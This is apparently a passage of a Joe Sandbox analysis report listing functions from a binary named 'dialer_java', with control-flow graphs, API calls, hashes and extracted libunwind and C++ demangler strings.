                                  control_flow_graph 1536 7ff695dca480-7ff695dca49f call 7ff695dc54a0 1539 7ff695dca4b4-7ff695dca4b7 1536->1539 1540 7ff695dca4a1-7ff695dca4ad 1536->1540 1543 7ff695dca4bf-7ff695dca4c1 1539->1543 1544 7ff695dca4b9 1539->1544 1541 7ff695dca4af-7ff695dca4b2 1540->1541 1542 7ff695dca4c6-7ff695dca721 strlen 1540->1542 1541->1539 1541->1542 1546 7ff695dca723-7ff695dca72d 1542->1546 1547 7ff695dca77d-7ff695dca794 call 7ff695dcba60 1542->1547 1545 7ff695dcab4c-7ff695dcab62 1543->1545 1544->1543 1549 7ff695dca72f-7ff695dca733 1546->1549 1550 7ff695dca7a6-7ff695dca7ab 1546->1550 1554 7ff695dca9cf-7ff695dca9d2 1547->1554 1555 7ff695dca79a-7ff695dca7a1 1547->1555 1549->1547 1553 7ff695dca735-7ff695dca74a 1549->1553 1552 7ff695dca7b2-7ff695dca7cf call 7ff695dcad10 1550->1552 1563 7ff695dca7d5-7ff695dca7e2 1552->1563 1564 7ff695dca8a0-7ff695dca8a2 1552->1564 1557 7ff695dca74c-7ff695dca750 1553->1557 1558 7ff695dca7ad 1553->1558 1554->1555 1562 7ff695dca9d8-7ff695dca9db 1554->1562 1559 7ff695dcaabd-7ff695dcaac0 1555->1559 1557->1547 1561 7ff695dca752-7ff695dca759 1557->1561 1558->1552 1567 7ff695dcaac2 1559->1567 1568 7ff695dcaac4-7ff695dcaacf 1559->1568 1565 7ff695dca8be-7ff695dca8c3 1561->1565 1566 7ff695dca75f-7ff695dca763 1561->1566 1569 7ff695dca9e2 1562->1569 1570 7ff695dca9dd-7ff695dca9e0 1562->1570 1575 7ff695dca88b-7ff695dca89b 1563->1575 1576 7ff695dca7e8-7ff695dca7ed 1563->1576 1564->1559 1574 7ff695dca8ca-7ff695dca8e4 call 7ff695dcad10 1565->1574 1566->1547 1577 7ff695dca765-7ff695dca777 1566->1577 1567->1568 1571 7ff695dcaad5-7ff695dcaaf8 1568->1571 1572 7ff695dcab7c-7ff695dcab8a 1568->1572 1573 7ff695dca9e4-7ff695dcaa18 1569->1573 1570->1573 1578 7ff695dcaaff-7ff695dcab12 1571->1578 1579 7ff695dcaafa free 1571->1579 1585 7ff695dcab70-7ff695dcab76 1572->1585 1586 7ff695dcab8c-7ff695dcab99 free 1572->1586 1580 7ff695dcaa1e-7ff695dcaa3c 1573->1580 1581 7ff695dcab9b-7ff695dcabaf _assert 1573->1581 1598 7ff695dca91c-7ff695dca922 1574->1598 1599 7ff695dca8e6-7ff695dca8fa 1574->1599 1575->1562 1583 7ff695dca7f3-7ff695dca80c 1576->1583 1584 7ff695dca8a7-7ff695dca8b9 1576->1584 1577->1547 1587 7ff695dca8c5 1577->1587 1588 7ff695dcab14 free 1578->1588 1589 7ff695dcab19-7ff695dcab24 1578->1589 1579->1578 1602 7ff695dcaa53-7ff695dcaa69 1580->1602 1603 7ff695dcaa3e-7ff695dcaa4a 1580->1603 1593 7ff695dcabb5-7ff695dcabd1 call 7ff695dc2d30 call 7ff695dcabe0 call 7ff695dc3f50 1581->1593 1591 7ff695dca80e-7ff695dca81b malloc 1583->1591 1592 7ff695dca839-7ff695dca886 1583->1592 1584->1559 1585->1571 1585->1572 1586->1585 1587->1574 1588->1589 1596 7ff695dcab2b-7ff695dcab36 1589->1596 1597 7ff695dcab26 free 1589->1597 1591->1593 1600 7ff695dca821-7ff695dca836 1591->1600 1592->1575 1604 7ff695dcab3d-7ff695dcab45 1596->1604 1605 7ff695dcab38 free 1596->1605 1597->1596 1598->1562 1607 7ff695dca928 1598->1607 1599->1598 1606 7ff695dca8fc-7ff695dca91a 1599->1606 1600->1592 1609 7ff695dcaaa0-7ff695dcaaac 1602->1609 1610 7ff695dcaa6b-7ff695dcaa91 realloc 1602->1610 1603->1602 1604->1545 1612 7ff695dcab47 free 1604->1612 1605->1604 1606->1598 1611 7ff695dca92d-7ff695dca939 1606->1611 1607->1555 1615 7ff695dcaaae-7ff695dcaab3 1609->1615 1616 7ff695dcaab6-7ff695dcaabb 1609->1616 1610->1593 1614 7ff695dcaa97-7ff695dcaa9c 1610->1614 1617 7ff695dca93b-7ff695dca941 1611->1617 1618 7ff695dca9b6-7ff695dca9cc call 7ff695dcb9a0 1611->1618 1612->1545 1614->1609 1615->1616 1616->1559 1621 7ff695dca943-7ff695dca94c 1617->1621 1622 7ff695dca94f-7ff695dca955 1617->1622 1618->1554 1621->1622 1625 7ff695dca992 1622->1625 1626 7ff695dca957-7ff695dca963 1622->1626 1627 7ff695dca995-7ff695dca998 1625->1627 1626->1627 1629 7ff695dca965 1626->1629 1631 7ff695dca9a3-7ff695dca9a6 1627->1631 1632 7ff695dca99a-7ff695dca99d 1627->1632 1630 7ff695dca968-7ff695dca974 1629->1630 1633 7ff695dca986-7ff695dca990 1630->1633 1634 7ff695dca976-7ff695dca981 1630->1634 1631->1618 1635 7ff695dca9a8-7ff695dca9ab 1631->1635 1632->1598 1632->1631 1633->1627 1634->1630 1636 7ff695dca983 1634->1636 1635->1598 1637 7ff695dca9b1 1635->1637 1636->1633 1637->1618
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: free$mallocreallocstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_demangle.cpp$Parser.ForwardTemplateRefs.empty()$___Z$____$_block_i$invocation function for block in $k_invoke
                                  • API String ID: 3545345670-2202808109
                                  • Opcode ID: 861c98a3b672e6a2a383b269d5275672217222fa8a2771e2f6aeb1d11a5c4d7e
                                  • Instruction ID: 90731c380c254afacfa3dbf1261c9dc3ad4060d9b407b6db06398aec44997d1b
                                  • Opcode Fuzzy Hash: 861c98a3b672e6a2a383b269d5275672217222fa8a2771e2f6aeb1d11a5c4d7e
                                  • Instruction Fuzzy Hash: FF128F3290DBC281FA75CB04E4543FAA3A4EB94B54F416371EA8D46B94EF7CD989CB04
                                  Function 00007FF695DDD0F0 Relevance: 15.4, APIs: 9, Strings: 1, Instructions: 416stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$strlen
                                  • String ID: objcprot
                                  • API String ID: 832207080-2390413308
                                  • Opcode ID: be403558d5c19889a774bf8358e63478aaf42b095cca7af1ba9038f461d2711f
                                  • Instruction ID: 064a7e9d7a20f46e6397751242c1d41a673360f51b790269345abae69d5730ea
                                  • Opcode Fuzzy Hash: be403558d5c19889a774bf8358e63478aaf42b095cca7af1ba9038f461d2711f
                                  • Instruction Fuzzy Hash: 84021632609B8191EB259B24E444BA93BE4EB04F90F455372DFAC4B7D5DF38E96AC304
                                  Function 00007FF695DD4440 Relevance: 13.0, APIs: 10, Instructions: 464COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: d54b64b8036d404a69da6403a70ed05ca69e7b2365ca9259877c42ed947f1859
                                  • Instruction ID: 634c1353d72d4ce47b4cb0bc21c09becdebc03e34ec3e64cb6bc230c23fc3f47
                                  • Opcode Fuzzy Hash: d54b64b8036d404a69da6403a70ed05ca69e7b2365ca9259877c42ed947f1859
                                  • Instruction Fuzzy Hash: D7221132609B8185EB248B24E0443A937E8FB04F80F49537ADB9D87791DF7CE95AC718
                                  Function 00007FF695DD0160 Relevance: 10.9, APIs: 7, Instructions: 377COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: 32b5085e0174258fcd89abbd63f116b3600349e14776db4c38fcb73417ec8c35
                                  • Instruction ID: 8cbd5e68c2b79fb2f0ba067c49152e2cdb6d9e01f477bf228ba53cf205455f2e
                                  • Opcode Fuzzy Hash: 32b5085e0174258fcd89abbd63f116b3600349e14776db4c38fcb73417ec8c35
                                  • Instruction Fuzzy Hash: 3DE1C22260AB8285EA758B11D4407B927E4EB84F80F485376CE5D8BB91EF3CE959C748
                                  Function 00007FF695DD76E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 250COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: %LaL
                                  • API String ID: 2500458235-3433341929
                                  • Opcode ID: 7881fc66a91655c0b7561184f9a0693de23a3cc8bf37a0c9a732274ca51f79a1
                                  • Instruction ID: 17f35955a8d3bb2e6710f915714a816f7e3a958aee2a3acf9dc05d37cf7a14f7
                                  • Opcode Fuzzy Hash: 7881fc66a91655c0b7561184f9a0693de23a3cc8bf37a0c9a732274ca51f79a1
                                  • Instruction Fuzzy Hash: 45916B6BB1C6E112EB394334F540F9D2E60C7A2762F05A355CBB403F9ADA2EC6168B04
                                  Function 00007FF695DC4120 Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 230COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1156 7ff695dc4120-7ff695dc4159 call 7ff695dc8350 call 7ff695dc87f0 1161 7ff695dc415f-7ff695dc4173 1156->1161 1162 7ff695dc4413-7ff695dc441a call 7ff695dc8a70 1156->1162 1163 7ff695dc4198-7ff695dc41ae call 7ff695dc8880 call 7ff695dc8a70 1161->1163 1168 7ff695dc444d-7ff695dc4467 1162->1168 1169 7ff695dc441c-7ff695dc4448 call 7ff695dc3d60 fflush 1162->1169 1174 7ff695dc41b4-7ff695dc41b6 1163->1174 1175 7ff695dc437a-7ff695dc437c 1163->1175 1173 7ff695dc4470-7ff695dc4484 1168->1173 1169->1168 1177 7ff695dc4232-7ff695dc425f call 7ff695dc8a70 1174->1177 1178 7ff695dc41b8-7ff695dc41d0 call 7ff695dc89b0 1174->1178 1175->1173 1179 7ff695dc4382-7ff695dc4394 1175->1179 1194 7ff695dc4261-7ff695dc4287 call 7ff695dc3d60 fflush 1177->1194 1195 7ff695dc428c-7ff695dc428f 1177->1195 1187 7ff695dc41d2-7ff695dc41e4 1178->1187 1188 7ff695dc41e6 1178->1188 1189 7ff695dc43b5-7ff695dc43bb call 7ff695dc3d60 1179->1189 1187->1188 1191 7ff695dc41ed-7ff695dc41f4 call 7ff695dc8a70 1187->1191 1188->1191 1193 7ff695dc43c0-7ff695dc43d3 fflush 1189->1193 1191->1177 1205 7ff695dc41f6-7ff695dc422d call 7ff695dc3d60 fflush 1191->1205 1193->1173 1194->1195 1197 7ff695dc4295-7ff695dc429d 1195->1197 1198 7ff695dc4396-7ff695dc439d call 7ff695dc8a70 1195->1198 1201 7ff695dc42a3-7ff695dc42aa call 7ff695dc8a70 1197->1201 1202 7ff695dc4188-7ff695dc4192 call 7ff695dc87f0 1197->1202 1198->1173 1211 7ff695dc43a3-7ff695dc43ae 1198->1211 1216 7ff695dc42d7-7ff695dc42f8 1201->1216 1217 7ff695dc42ac-7ff695dc42d2 call 7ff695dc3d60 fflush 1201->1217 1202->1162 1202->1163 1205->1177 1211->1189 1225 7ff695dc4340-7ff695dc4347 call 7ff695dc8a70 1216->1225 1226 7ff695dc42fa-7ff695dc4300 1216->1226 1217->1216 1239 7ff695dc4180-7ff695dc4183 call 7ff695dc8920 1225->1239 1240 7ff695dc434d-7ff695dc4375 call 7ff695dc3d60 fflush 1225->1240 1227 7ff695dc43d8-7ff695dc43dc 1226->1227 1228 7ff695dc4306-7ff695dc430d call 7ff695dc8a70 1226->1228 1232 7ff695dc4485-7ff695dc448c call 7ff695dc8a70 1227->1232 1233 7ff695dc43e2-7ff695dc43e9 call 7ff695dc8a70 1227->1233 1228->1202 1241 7ff695dc4313-7ff695dc433b call 7ff695dc3d60 fflush 1228->1241 1232->1173 1246 7ff695dc448e-7ff695dc44ae call 7ff695dc3d60 1232->1246 1233->1162 1245 7ff695dc43eb-7ff695dc440e call 7ff695dc3d60 fflush 1233->1245 1239->1202 1240->1239 1241->1202 1245->1162 1246->1193
                                  APIs
                                  Strings
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): calling stop function with _UA_END_OF_STACK, xrefs: 00007FF695DC442B
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_INSTALL_CONTEXT, xrefs: 00007FF695DC4357
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_END_OF_STACK, xrefs: 00007FF695DC43F2
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): calling personality function %p, xrefs: 00007FF695DC42B6
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): stopped by stop function, xrefs: 00007FF695DC43AE
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): start_ip=0x%llx, func=%s, lsda=0x%llx, personality=0x%llx, xrefs: 00007FF695DC4214
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned %d, _URC_FATAL_PHASE2_ERROR, xrefs: 00007FF695DC4499
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): stop function returned %d, xrefs: 00007FF695DC426B
                                  • .anonymous., xrefs: 00007FF695DC41E6
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_CONTINUE_UNWIND, xrefs: 00007FF695DC431D
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): __unw_get_proc_info failed => _URC_END_OF_STACK, xrefs: 00007FF695DC438D
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflush$CaptureContextgetenv
                                  • String ID: .anonymous.$libunwind: unwind_phase2_forced(ex_ojb=%p): __unw_get_proc_info failed => _URC_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): calling personality function %p$libunwind: unwind_phase2_forced(ex_ojb=%p): calling stop function with _UA_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned %d, _URC_FATAL_PHASE2_ERROR$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_CONTINUE_UNWIND$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_INSTALL_CONTEXT$libunwind: unwind_phase2_forced(ex_ojb=%p): start_ip=0x%llx, func=%s, lsda=0x%llx, personality=0x%llx$libunwind: unwind_phase2_forced(ex_ojb=%p): stop function returned %d$libunwind: unwind_phase2_forced(ex_ojb=%p): stopped by stop function
                                  • API String ID: 3501801798-3031193476
                                  • Opcode ID: 2c2042e08bbac2c23237b96d70b7f4566f0efbb0a5ba3dd869ebdfe9a7cb8860
                                  • Instruction ID: 8bdc840a91e95953a651523aa4a4d52319dcf566f447acc89078596bf2431f8d
                                  • Opcode Fuzzy Hash: 2c2042e08bbac2c23237b96d70b7f4566f0efbb0a5ba3dd869ebdfe9a7cb8860
                                  • Instruction Fuzzy Hash: 81815C10A0D61641FE34AB62E4163BA52D5EF85FC9F4022B9DE4E977C2DF2CAD0D824D
                                  Function 00007FF695DC3820 Relevance: 31.8, APIs: 7, Strings: 11, Instructions: 297COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1427 7ff695dc3820-7ff695dc3846 call 7ff695dc8a70 1430 7ff695dc3882-7ff695dc388a 1427->1430 1431 7ff695dc3848-7ff695dc387d call 7ff695dc3d60 fflush 1427->1431 1432 7ff695dc388c-7ff695dc3897 1430->1432 1433 7ff695dc38bb-7ff695dc38c8 1430->1433 1431->1430 1435 7ff695dc3c25-7ff695dc3c38 1432->1435 1436 7ff695dc389d-7ff695dc38a1 1432->1436 1437 7ff695dc38f6-7ff695dc3a09 memcpy 1433->1437 1438 7ff695dc38ca-7ff695dc38ce 1433->1438 1436->1435 1442 7ff695dc38a7-7ff695dc38b6 1436->1442 1440 7ff695dc3a19 1437->1440 1441 7ff695dc3a0b-7ff695dc3a17 call 7ff695dc4a70 1437->1441 1438->1437 1443 7ff695dc38d0-7ff695dc38d7 1438->1443 1446 7ff695dc3a21-7ff695dc3a9d call 7ff695dc86c0 1440->1446 1441->1440 1441->1446 1442->1435 1443->1437 1447 7ff695dc38d9-7ff695dc38eb call 7ff695dc8a70 1443->1447 1456 7ff695dc3bb5-7ff695dc3bd2 call 7ff695dc8a70 1446->1456 1457 7ff695dc3aa3-7ff695dc3ac2 call 7ff695dc8a70 1446->1457 1454 7ff695dc38f1 1447->1454 1455 7ff695dc3ac4-7ff695dc3b05 call 7ff695dc3d60 fflush 1447->1455 1458 7ff695dc3b0a-7ff695dc3b2f call 7ff695dc8a70 1454->1458 1455->1458 1456->1455 1466 7ff695dc3bd8 1456->1466 1457->1455 1457->1458 1471 7ff695dc3b31-7ff695dc3b5d call 7ff695dc3d60 fflush 1458->1471 1472 7ff695dc3b62-7ff695dc3b66 1458->1472 1466->1458 1471->1472 1473 7ff695dc3c16-7ff695dc3c1f 1472->1473 1474 7ff695dc3b6c-7ff695dc3b70 1472->1474 1473->1435 1475 7ff695dc3cb6-7ff695dc3cba 1473->1475 1476 7ff695dc3b72-7ff695dc3b78 1474->1476 1477 7ff695dc3bdd-7ff695dc3be1 1474->1477 1480 7ff695dc3d15-7ff695dc3d31 1475->1480 1481 7ff695dc3cbc-7ff695dc3ce7 1475->1481 1476->1435 1479 7ff695dc3b7e-7ff695dc3b87 1476->1479 1482 7ff695dc3be3-7ff695dc3bec 1477->1482 1483 7ff695dc3c39-7ff695dc3cb4 call 7ff695dc8600 * 3 1477->1483 1479->1435 1486 7ff695dc3b8d-7ff695dc3bb0 1479->1486 1494 7ff695dc3d38-7ff695dc3d54 call 7ff695dc3d60 fflush abort 1480->1494 1487 7ff695dc3cea-7ff695dc3d13 RtlUnwindEx 1481->1487 1482->1435 1488 7ff695dc3bee-7ff695dc3c11 1482->1488 1483->1487 1486->1494 1487->1494 1488->1494
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflush$Unwindabortgetenvmemcpy
                                  • String ID: CCG $CCG!$Personality continued unwind at the target frame!$Personality indicated exception handler in phase 2!$Personality installed context during phase 1!$RtlUnwindEx() failed$_GCC_specific_handler$libunwind: %s - %s$libunwind: _GCC_specific_handler(%#010lx(%lx), %p)$libunwind: _GCC_specific_handler() calling personality function %p(1, %d, %llx, %p, %p)$libunwind: _GCC_specific_handler() personality returned %d
                                  • API String ID: 4246679292-2140983942
                                  • Opcode ID: 399306ebe4ceb0f237bae98179e1acdd12333d68336ae5344bae23e9d3188841
                                  • Instruction ID: 68e53a383974acf5c3f5cbe640fe6e8a0a8951762c455db1723c422a25f246c5
                                  • Opcode Fuzzy Hash: 399306ebe4ceb0f237bae98179e1acdd12333d68336ae5344bae23e9d3188841
                                  • Instruction Fuzzy Hash: 76D18221A09AC281EA359B15E4027F9B3E4FF84B54F006276DE8D83791DF3DE999C748
                                  Function 00007FF695DD2BCA Relevance: 31.6, APIs: 21, Instructions: 143COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1504 7ff695dd2bca-7ff695dd2bdb 1505 7ff695dd2fd1 1504->1505 1506 7ff695dd2be1-7ff695dd2bed isxdigit 1504->1506 1507 7ff695dd2fd3-7ff695dd2fe2 1505->1507 1506->1505 1508 7ff695dd2bf3-7ff695dd2bff isxdigit 1506->1508 1508->1505 1509 7ff695dd2c05-7ff695dd2c11 isxdigit 1508->1509 1509->1505 1510 7ff695dd2c17-7ff695dd2c23 isxdigit 1509->1510 1510->1505 1511 7ff695dd2c29-7ff695dd2c35 isxdigit 1510->1511 1511->1505 1512 7ff695dd2c3b-7ff695dd2c47 isxdigit 1511->1512 1512->1505 1513 7ff695dd2c4d-7ff695dd2c59 isxdigit 1512->1513 1513->1505 1514 7ff695dd2c5f-7ff695dd2c6b isxdigit 1513->1514 1514->1505 1515 7ff695dd2c71-7ff695dd2c7d isxdigit 1514->1515 1515->1505 1516 7ff695dd2c83-7ff695dd2c8f isxdigit 1515->1516 1516->1505 1517 7ff695dd2c95-7ff695dd2ca1 isxdigit 1516->1517 1517->1505 1518 7ff695dd2ca7-7ff695dd2cb3 isxdigit 1517->1518 1518->1505 1519 7ff695dd2cb9-7ff695dd2cc5 isxdigit 1518->1519 1519->1505 1520 7ff695dd2ccb-7ff695dd2cd7 isxdigit 1519->1520 1520->1505 1521 7ff695dd2cdd-7ff695dd2ce9 isxdigit 1520->1521 1521->1505 1522 7ff695dd2cef-7ff695dd2cfb isxdigit 1521->1522 1522->1505 1523 7ff695dd2d01-7ff695dd2d0d isxdigit 1522->1523 1523->1505 1524 7ff695dd2d13-7ff695dd2d1f isxdigit 1523->1524 1524->1505 1525 7ff695dd2d25-7ff695dd2d31 isxdigit 1524->1525 1525->1505 1526 7ff695dd2d37-7ff695dd2d43 isxdigit 1525->1526 1526->1505 1527 7ff695dd2d49-7ff695dd2d53 1526->1527 1527->1505 1528 7ff695dd2d59-7ff695dd2d5c 1527->1528 1528->1505 1529 7ff695dd2d62-7ff695dd2d81 1528->1529 1530 7ff695dd2d83-7ff695dd2d90 malloc 1529->1530 1531 7ff695dd2dad-7ff695dd2dee 1529->1531 1532 7ff695dd3080-7ff695dd3085 call 7ff695dc2d30 1530->1532 1533 7ff695dd2d96-7ff695dd2daa 1530->1533 1531->1505 1531->1507 1533->1531
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: 493b3504e96b5132e726ee44de8f28cecf9b5d1527bf54c4c4c996011feb9626
                                  • Instruction ID: 0dfe927243a214176d20580cf85fe6d2b16e406aed60ded4e0540536a1d04747
                                  • Opcode Fuzzy Hash: 493b3504e96b5132e726ee44de8f28cecf9b5d1527bf54c4c4c996011feb9626
                                  • Instruction Fuzzy Hash: 6A519621608A8242F7744B31989063E67E0EF81F45F0816B6CE5EC6DA1DF2CEDA8D708
                                  Function 00007FF695DD7B80 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 336COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
